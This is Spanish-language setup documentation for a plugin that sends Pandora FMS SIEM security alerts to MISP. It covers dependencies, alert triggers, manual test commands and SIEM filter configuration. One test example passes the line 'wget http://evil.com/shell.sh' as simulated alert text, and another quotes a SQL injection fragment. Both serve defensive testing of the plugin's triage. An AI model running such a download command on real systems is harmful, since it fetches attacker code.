Plugin Pandora SIEM to MISP

Plugin que automatiza el envío de eventos de seguridad y amenazas detectados por el SIEM de Pandora FMS a la plataforma MISP para la creación de eventos y el intercambio de inteligencia.

Introducción

Ver. 06/03/2026

Plugin que automatiza el envío de eventos de seguridad y amenazas detectados por el SIEM de Pandora FMS a la plataforma MISP para la creación de eventos y el intercambio de inteligencia.

Tipo: Plugin de Servidor

Matriz de compatibilidad

Sistemas donde se ha probado

Rocky Linux 9

Sistemas donde debería funcionar

Cualquier sistema linux

Pre requisitos

Para el correcto funcionamiento del plugin es necesario contar con Python 3.10 o superior y la librería PyMISP instalada.

Se pueden instalar los requisitos con el siguiente comando:

En Rocky Linux 8 y 9:

# Instalar Python y las dependencias de compilación necesarias

sudo dnf install -y python3.11 python3.11-devel python3.11-pip gcc libffi-devel openssl-devel

# Instalar PyMISP y dependencias

sudo pip3.11 install pymisp requests urllib3

En Ubuntu 22.04:

# Instalar Python y las dependencias de compilación necesarias

sudo apt update && sudo apt install -y python3 python3-dev python3-pip libffi-dev libssl-dev build-essential

# Instalar PyMISP y dependencias

sudo pip3 install pymisp requests urllib3 --break-system-packages

Una vez instaladas todas las dependencias continuar con la configuración del plugin.

Configuración del Plugin

Antes de ejecutar el plugin para exportar alertas del SIEM a MISP, es necesario ubicar el script, otorgar permisos, y configurar las credenciales de acceso a las APIs de ambas plataformas.


1. Ubicación y Permisos del Script

Recomendamos alojar el script pandora_to_misp.py en el directorio estándar de plugins del servidor de Pandora FMS.

Sube el archivo al servidor y ejecuta el siguiente comando para darle permisos de ejecución:

chmod +x /usr/share/pandora_server/util/plugin/pandora_to_misp.py

2. Parámetros del Script

El script funciona mediante argumentos por línea de comandos. Incorpora un motor de auto-clasificación (Triaje) que lee el contenido de la alerta y asigna automáticamente el nivel de amenaza, etiquetas MITRE ATT&CK y categoría, aunque puedes forzar estos valores usando los parámetros opcionales.

Parámetros Obligatorios:

Parámetros Opcionales:

Parámetro Descripción Valor por defecto
-t, --tlp Nivel TLP (Traffic Light Protocol). Ej: tlp:red, tlp:amber. tlp:green
-s, --sharing Nivel de distribución del evento en MISP (0=Tu Org, 1=Comunidad, 2=Conectados, 3=Todos). 0
-l, --threat-level Fuerza el nivel de amenaza ignorando el auto-triaje (1=High, 2=Medium, 3=Low). Auto-asignado
-c, --category Fuerza la categoría del atributo IP en MISP. Auto-asignado
-g, --tags Añade etiquetas extra al evento (separadas por comas). Auto-asignado

3. Configuración de Disparadores en Pandora FMS

Para que la exportación sea automática, debemos configurar Comando, Acción y Plantilla en las alertas de Pandora FMS para pasar las variables de entorno de Pandora FMS directamente a los parámetros del script mediante el uso de macros.

Paso 1: Crear el Comando de Alerta (Alert Command)
  1. Navega a: Management -> Alerts -> Commands

  2. Haz clic en Create +.

  3. Nombre: Export SIEM to MISP

  4. Comando: Usaremos las macros de Pandora para inyectar los datos. Copia esta estructura (asegúrate de que los valores fijos como URL y KEY los rellenaremos en la Acción):

    /usr/bin/python3 /usr/share/pandora_server/util/plugin/pandora_to_misp.py -u "_field1_" -k "_field2_" -a "_field3_" -n "_field4_" -d "_field5_" _field6_

    Es vital que las macros vayan entre comillas dobles para que el script procese bien los espacios.

  5. Descripción: Comando que ejecuta la llamada al script pandora_to_misp.py que enviará el evento al MISP mediante API call.
  6. Field Description / Values: Aqui detallamos una descripción de cada macro y a los que corresponda les pasamos la macro que nos interesa obtener quedando de la siguiente manera:
1) Field Description
1) Field Values
MISP URL
2) Field Description 2) Field Values
MISP API KEY
3) Field Description 3) Field Values
Agent Name _agent_
4) Field Description 4) Field Values
Alert Name _alert_name_
5) Field Description 5) Field Values
Alert Description _data_
6) Field Description 6) Field Values
Optional Parameters

Ejemplo:

image.png

Paso 2: Crear la Acción de Alerta (Alert Action)
    1. Navega a: Management -> Alerts -> Actions
    2. Haz clic en Create +.

    3. Nombre: Crear Evento MISP.

    4. Comando: Selecciona Export SIEM to MISP.

En los campos de configuración que aparecen debajo, introduce tus credenciales reales:

    1. Field 1: URL de tu MISP (Ej: https://misp.midominio.com).

    2. Field 2: Tu API Key de MISP.

    3. Field 3: Queda como viene del comando
    4. Field 4: Queda como viene del comando
    5. Field 5: Queda como viene del comando
    6. Field 6 (Opcional): Si quieres añadir flags extra (por ejemplo, forzar etiquetas), puedes añadirlos al final en el field 6 como únicamente si quieres que todas las alertas que disparen esta acción tengan la misma configuración avanzada que le indiques, la configuración de ejemplo la tienes en el punto 3 (templates). Lo recomendado en este caso sería crear diferentes templates para diferentes tipos de alerta y personalizar el campo Field6 en cada template independiente y no en la acción.

image.png

image.png

image.png

Paso 3: Crear la Plantilla de Alerta (Alert Template)
  1. Navega a: Management -> Alerts -> Actions

  2. Haz clic en Create +.

  3. En la pestaña (1) General, asigna un nombre descriptivo a tu plantilla (por ejemplo, Exportar Críticos a MISP).

  4. Avanza a la pestaña (2) Conditions y configura los parámetros para evitar falsos positivos y controlar el flujo de eventos enviados a MISP:

      • Time threshold: 5 minutes.

      • Min. number of alerts: 0.

      • Max. number of alerts: 1 (Esto evita generar eventos duplicados en MISP si la alerta persiste).

      • Condition type: Selecciona Critical status (La alerta se disparará en cuanto el estado pase a crítico).

      • Default action: Despliega el menú y selecciona la acción que creaste en el paso anterior (en el ejemplo de la captura: Crear Evento MISP).

      • Reset counter for non-sustained alerts: Asegúrate de dejar esta casilla activada (marcada).

  5. Avanza a la pestaña (3) Advanced fields y asegúrate que el Alert Recovery se encuentra Disabled / Desactivado.
      • Deja los Fields del 1 al 5 vacíos (tomará los valores de la acción y del comando)
      • En la caja correspondiente al Field 6, puedes inyectar los flags opcionales del script para sobreescribir el comportamiento por defecto (como el triaje automático).

        Ejemplo completo con todos los parámetros opcionales:

        -t "tlp:red" -s 1 -l 1 -c "Network activity" -g "SOC-Team, Critical-Alert"

        ¿Qué hace este ejemplo?

      • -t "tlp:red": Etiqueta el evento con nivel TLP Rojo.

      • -s 1: Comparte el evento con la Comunidad MISP (Community).

      • -l 1: Fuerza el Threat Level a "High" (Alto).

      • -c "Network activity": Clasifica la IP extraída dentro de esa categoría en MISP. (Importante usar comillas si hay espacios).

      • -g "SOC-Team, Critical-Alert": Añade esas dos etiquetas personalizadas al evento.

Si optan por configurar los parámetros opcionales para sobrescribir el triaje automático, lo recomendado sería crear varios templates con diferentes valores para que se adapten al tipo de alerta que buscan disparar.

Finaliza el asistente, guarda los cambios y asegúrate de que la plantilla esté habilitada.

image.pngimage.pngimage.pngimage.png

Ejecución Manual

Antes de dejar la integración funcionando en automático, es altamente recomendable realizar pruebas manuales desde la terminal del servidor de Pandora FMS. Esto nos permite verificar la conectividad con MISP y comprobar cómo el motor de auto-clasificación (Triaje) analiza los logs en crudo para asignar el nivel de amenaza y las tácticas de MITRE ATT&CK.

A continuación, se presentan 6 ejemplos de ejecución basados en diferentes vectores de ataque, más un ejemplo avanzado usando todos los parámetros opcionales.

Recuerda sustituir https://misp.midominio.com y TU_API_KEY por los datos reales de tu entorno antes de ejecutar los comandos.

1. Explotación de Aplicación Pública (MITRE T1190)

El script detecta intentos de inyección SQL o XSS.

python3 /usr/share/pandora_server/util/plugin/pandora_to_misp.py \
  -u "https://misp.midominio.com" -k "TU_API_KEY" \
  -a "Web_Server_Apache" -n "Intento de SQL Injection" \
  -d "Detectado ataque: select * from users en login.php desde la IP 192.168.1.100"

2. Transferencia de Herramientas Maliciosas (MITRE T1105)

El script detecta comandos de descarga sospechosos en la terminal.

python3 /usr/share/pandora_server/util/plugin/pandora_to_misp.py \
  -u "https://misp.midominio.com" -k "TU_API_KEY" \
  -a "Linux_App_Server" -n "Descarga de Payload" \
  -d "Ejecucion sospechosa: wget http://evil.com/shell.sh iniciada por 10.0.0.50"

3. Ejecución por Usuario / Malware (MITRE T1204)

El script detecta alertas de antivirus o cuarentenas.

python3 /usr/share/pandora_server/util/plugin/pandora_to_misp.py \
  -u "https://misp.midominio.com" -k "TU_API_KEY" \
  -a "Windows_Endpoint_01" -n "Infección de Malware" \
  -d "Antivirus alert: malware trojan quarantined. Origen de descarga: 198.51.100.44"

4. Uso de Cuentas Válidas / Viaje Imposible (MITRE T1078)

El script detecta anomalías en los inicios de sesión.

python3 /usr/share/pandora_server/util/plugin/pandora_to_misp.py \
  -u "https://misp.midominio.com" -k "TU_API_KEY" \
  -a "VPN_Gateway" -n "Viaje Imposible Detectado" \
  -d "Alerta de seguridad: impossible travel VPN login from malicious IP 203.0.113.42"

5. Phishing / Spearphishing (MITRE T1566)

El script clasifica ataques recibidos por correo electrónico.

python3 /usr/share/pandora_server/util/plugin/pandora_to_misp.py \
  -u "https://misp.midominio.com" -k "TU_API_KEY" \
  -a "Mail_Exchange" -n "Correo Malicioso" \
  -d "Filtro de correo: malicious attachment bloqueado del remitente con IP 203.0.113.99"

6. Fuerza Bruta (MITRE T1110)

El script detecta intentos repetidos de autenticación fallida.

python3 /usr/share/pandora_server/util/plugin/pandora_to_misp.py \
  -u "https://misp.midominio.com" -k "TU_API_KEY" \
  -a "SSH_Server" -n "Ataque de Fuerza Bruta" \
  -d "Raw log: Failed password for root from 192.168.1.200 port 22 ssh2"

7. Ejecución Avanzada (Sobrescribir Triaje)

Si prefieres ignorar la clasificación automática del script y forzar tus propios valores, puedes usar los parámetros opcionales. En este ejemplo, forzaremos el nivel TLP a rojo, el nivel de amenaza a Crítico (1), compartiremos con la comunidad (1), asignaremos la categoría manualmente y añadiremos dos etiquetas personalizadas.

python3 /usr/share/pandora_server/util/plugin/pandora_to_misp.py \
  -u "https://misp.midominio.com" -k "TU_API_KEY" \
  -a "Main_Firewall" -n "Ataque Crítico Personalizado" \
  -d "Alerta custom: denegación de servicio desde 10.10.10.10" \
  -t "tlp:red" \
  -s 1 \
  -l 1 \
  -c "Network activity" \
  -g "SOC-Team, Critical-Alert, misp-galaxy:mitre-attack-pattern=\"Network Denial of Service - T1498\""

8. Verificación

Tras ejecutar cualquiera de estos comandos, el script devolverá un 1 (éxito) o un 0 (error) en la consola. Para comprobar los detalles, revisa el archivo de registro del plugin:

tail -f /var/log/pandora/pandora_misp_integration.log

image.png

Finalmente, accede a tu consola web de MISP y verás el evento recién creado con su IP extraída y las etiquetas MITRE correspondientes.

Creación de la alerta en SIEM

Una vez configurados el Comando, la Acción y la Plantilla, el último paso es crear la alerta en el motor SIEM de Pandora FMS. Esta alerta será la encargada de "escuchar" los eventos que ocurran en el sistema y, si coinciden con nuestros filtros, disparará el envío hacia MISP.

Para comenzar, navega en el menú lateral a Management -> Alerts -> SIEM Alerts y haz clic en el botón de creación (Create +). A continuación, sigue el asistente de 5 pasos:

Paso 1: Configure (Configuración básica)

En esta primera pestaña, definiremos los metadatos de la alerta:

image.png


Paso 2: Conditions (Condiciones)

Aquí enlazaremos la alerta con la lógica que creamos anteriormente:

image.png


Paso 3: Filters (Filtros de detección)

Este es el paso más importante de la configuración. Aquí le decimos a Pandora FMS qué eventos específicos dentro del tráfico del SIEM deben activar esta alerta y, por tanto, enviarse a MISP. Puedes combinar varios campos para hacer el filtro tan estricto como necesites.

A continuación, se detalla para qué sirve cada campo:

(Nota: Para una integración estándar, suele bastar con definir la Severidad y/o el ID Rule, dejando el resto de campos vacíos o en 'None').

image.png


Paso 4: Fields (Campos adicionales)

Selecciona la plantilla que quieres tener para esta alerta. Si la plantilla cargada incluye campos personalizados (Macros _field1_, _field2_, etc.), se tomarán los valores de la Template. Por lo general, estos campos ya heredan la configuración directamente del Comando, la Acción y la Plantilla, por lo que puedes dejarlos por defecto y avanzar.

image.png


Paso 5: Triggering (Lanzamiento)

En esta última pantalla verificaremos el resumen de la configuración de disparo.

  1. Revisa la tabla Triggering Condition para confirmar que el calendario y los umbrales son correctos.

  2. En la tabla inferior (Action), comprueba que aparece la acción deseada (ej. Crear Evento MISP).

  3. Si no aparece, selecciónala en el desplegable Actions, asegúrate de que From y To estén en 0, y haz clic en el botón verde Add (Asegurate de establecer el threshold correcto)

image.png

Finaliza el asistente para guardar la alerta. ¡Tu integración ya está completamente operativa en tiempo real!